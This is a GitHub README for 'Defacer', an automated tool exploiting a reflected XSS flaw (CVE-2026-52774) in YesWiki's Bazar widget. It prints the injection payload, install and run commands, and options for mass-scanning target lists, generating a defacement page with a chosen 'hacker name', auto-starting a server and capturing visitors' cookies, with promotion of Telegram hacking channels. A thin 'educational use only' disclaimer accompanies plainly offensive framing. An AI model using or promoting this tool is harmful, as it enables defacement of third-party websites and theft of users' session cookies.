Skip to content

Latest commit

Β 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

<div align="center">

# πŸš€ CVE-2026-52774 β€” YesWiki Bazar Widget Reflected XSS

### Automated Exploitation Framework with Defacement

<!-- MAIN BANNER -->
<p align="center">
  <img src="https://raw.githubusercontent.com/HackfutSecRoot/Defacer/main/images/banner.png" alt="Banner" width="800px">
</p>

<!-- BADGES -->
<p align="center">
  <img src="https://img.shields.io/badge/CVE-2026--52774-red?style=for-the-badge&logo=security">
  <img src="https://img.shields.io/badge/CVSS-6.1-orange?style=for-the-badge">
  <img src="https://img.shields.io/badge/CWE-79-blue?style=for-the-badge&logo=owasp">
  <img src="https://img.shields.io/badge/Type-Reflected%20XSS-yellow?style=for-the-badge">
  <img src="https://img.shields.io/badge/Python-3.8%2B-green?style=for-the-badge&logo=python">
  <img src="https://img.shields.io/badge/License-MIT-purple?style=for-the-badge">
</p>

<!-- STATS -->
<p align="center">
  <img src="https://img.shields.io/github/stars/HackfutSecRoot/Defacer?style=social" alt="Stars">
  <img src="https://img.shields.io/github/forks/HackfutSecRoot/Defacer?style=social" alt="Forks">
  <img src="https://img.shields.io/github/issues/HackfutSecRoot/Defacer?style=social" alt="Issues">
  <img src="https://img.shields.io/github/license/HackfutSecRoot/Defacer?style=social" alt="License">
</p>

<!-- DESCRIPTION -->
<h3>
  ⚑ 100% Automated Exploitation β€” Detection β†’ Exploitation β†’ Defacement β†’ Exfiltration
</h3>

</div>

---

## πŸ“– Table of Contents

- [πŸ“Œ Description](#-description)
- [πŸ“Έ Live Demo](#-live-demo)
- [πŸ” Vulnerability](#-vulnerability)
- [βš™οΈ Installation](#️-installation)
- [πŸš€ Usage](#-usage)
- [🎨 Defacement Page](#-defacement-page)
- [πŸ“± Contact](#-contact)
- [⚠️ Disclaimer](#️-disclaimer)

---

## πŸ“Œ Description

<div align="center">

### Automated Exploitation Tool for CVE-2026-52774

**Defacer** is an automated exploitation tool targeting **CVE-2026-52774** in **YesWiki Bazar Widget**. It automates the entire process:

```mermaid
graph LR
    A[🌐 Detection] --> B[πŸ” Version Check]
    B --> C[⚑ XSS Test]
    C --> D[🎨 Defacement]
    D --> E[πŸ“‘ Auto Server]
    E --> F[πŸͺ Exfiltration]

✨ Key Features

Feature Description Status
πŸ” Auto Detection Automatically detects YesWiki version βœ…
🎯 Enumeration Finds valid Bazar form IDs βœ…
⚑ XSS Testing Tests for XSS vulnerability βœ…
🎨 Defacement Generates styled defacement page βœ…
πŸ“‘ Auto Server Starts HTTP server automatically βœ…
πŸͺ Exfiltration Captures cookies automatically βœ…
πŸ“Š Mass Scan Scans multiple targets simultaneously βœ…

πŸ“Έ Live Demo

πŸ–₯️ Terminal - Vulnerability Detection & Exploitation

Terminal Exploitation

🌐 Browser - Defacement Page Result

Defacement Result


πŸ” Vulnerability

Property Value
CVE ID CVE-2026-52774
CVSS Score 6.1 (Medium)
CWE CWE-79 (XSS)
Type Reflected XSS
Plugin YesWiki Bazar Widget
Vulnerable Versions < 4.6.6
Patched Version 4.6.6+

πŸ“‹ Technical Details

# Injection Point
Injection: query param β†’ strip_tags() β†’ data-iframeUrl attribute

# Payload
<iframe src="?wiki=NoSuchPage/widget&id=1&query=1"onmouseover="alert(document.domain)"">

πŸ”„ Exploitation Flow

1. Version Detection
   ↓
2. Bazar Extension Check
   ↓
3. Form Enumeration
   ↓
4. XSS Testing
   ↓
5. Defacement Page Generation
   ↓
6. Automatic Server Start
   ↓
7. Cookie Exfiltration

βš™οΈ Installation

Prerequisites

Dependency Version Installation
Python 3.8+ python.org
requests 2.28+ pip install requests
urllib3 1.26+ pip install urllib3
# 1. Clone the repository
git clone https://github.com/HackfutSecRoot/Defacer.git
cd Defacer

# 2. Install dependencies
pip install -r requirements.txt

# 3. Verify installation
python main.py --help

πŸš€ Usage

🎯 Single Target

# Full automated exploitation
python main.py -t https://target.com

# With custom port
python main.py -t https://target.com --server-port 9999

# With custom hacker name
python main.py -t https://target.com --hacker-name "YourName"

πŸ“Š Mass Scan

# Scan a list of targets
python main.py --targets list.txt

# With 10 threads
python main.py --targets list.txt --threads 10

πŸ“ list.txt Format

# YesWiki Targets
https://example1.com
https://example2.com
https://example3.com
# Comments start with #

πŸ”§ All Options

Options:
  -t, --target          Target URL
  --targets             Targets file (default: list.txt)
  --auto-server         Auto-start HTTP server (default: on)
  --server-port         HTTP server port (default: 8888)
  --timeout             Request timeout (default: 10)
  --max-id              Maximum form ID (default: 30)
  --deface-output       Defacement output file
  --hacker-name         Hacker name for defacement
  --no-color            Disable colored output

🎨 Defacement Page

Page Features

Effect Description
πŸ’€ Animated Skull Floating animation with shadow
🌧️ Matrix Rain Matrix-style code rain
⚑ Glitch Effect Glitch effect on title
πŸ’š Neon Glow Neon glow on name
πŸ“Š Progress Bar Animated progress bar
πŸ“± Responsive Mobile and desktop compatible
πŸ“’ Telegram Links Integrated social links

πŸ–ΌοΈ Preview

Defacement Preview

πŸ”§ Customization

# Change hacker name
--hacker-name "YourName"

# Change output file
--deface-output "custom.html"

# Change server port
--server-port 8888

πŸ“± Contact

Join Us on Telegram

Channel Link Description
πŸ“’ Channel 1 t.me/+gsrpvshwGUc5MzI0 Main Channel
πŸ”₯ Channel 2 t.me/LinxProdXs404 LinxProdXs404
πŸ’€ ULP t.me/ulp_Linxprodx ULP Channel
πŸ“Œ Post #249 t.me/LinxProdXs404/249 Important Post
🎯 Post #541 t.me/LinxProdXs404/541 Featured Post

⚠️ Disclaimer

⚠️ LEGAL WARNING ⚠️

This tool is intended for EDUCATIONAL and AUTHORIZED security testing purposes ONLY.

Using this tool against systems without explicit authorization is ILLEGAL.

The author is not responsible for any malicious or illegal use of this tool.

Only use it on systems you own or for which you have written permission to test.


πŸ“„ License

MIT License

Copyright (c) 2024 HackfutSec

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

πŸ† Credits

Contributor Role
HackfutSec Lead Developer
LinxProdXs404 Support & Testing
ULP Team Resources

⭐ If this tool was helpful, don't forget to leave a star!

Star Fork Watch


πŸ”₯ HackfutSec β€” Security is just an illusion πŸ”₯

HackfutSec
```